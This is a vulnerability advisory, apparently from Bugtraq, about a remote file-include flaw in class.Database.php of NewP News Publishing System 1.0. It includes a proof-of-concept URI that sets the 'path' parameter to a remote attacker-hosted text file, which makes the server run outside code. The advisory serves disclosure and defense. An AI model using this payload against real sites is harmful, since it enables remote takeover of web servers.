NewP News Publishing System Class.Database.PHP Remote File Include Vulnerability

Bugtraq ID:	20893
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 07 2006 12:00AM
Updated:	Nov 08 2006 10:31PM
Credit:	Navairum is credited with the discovery of this vulnerability.
Vulnerable:	NewP NewP - News Publishing system 1.0
Not Vulnerable:

NewP News Publishing System Class.Database.PHP Remote File Include Vulnerability

NewP News Publishing system is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

NewP version 1.0.0 is vulnerable; other versions may also be affected.

NewP News Publishing System Class.Database.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/newsp/lib/class.Database.php?path=http://www.example2.com/jacked.txt?

NewP News Publishing System Class.Database.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

NewP News Publishing System Class.Database.PHP Remote File Include Vulnerability

References:

• NewP Homepage (NewP)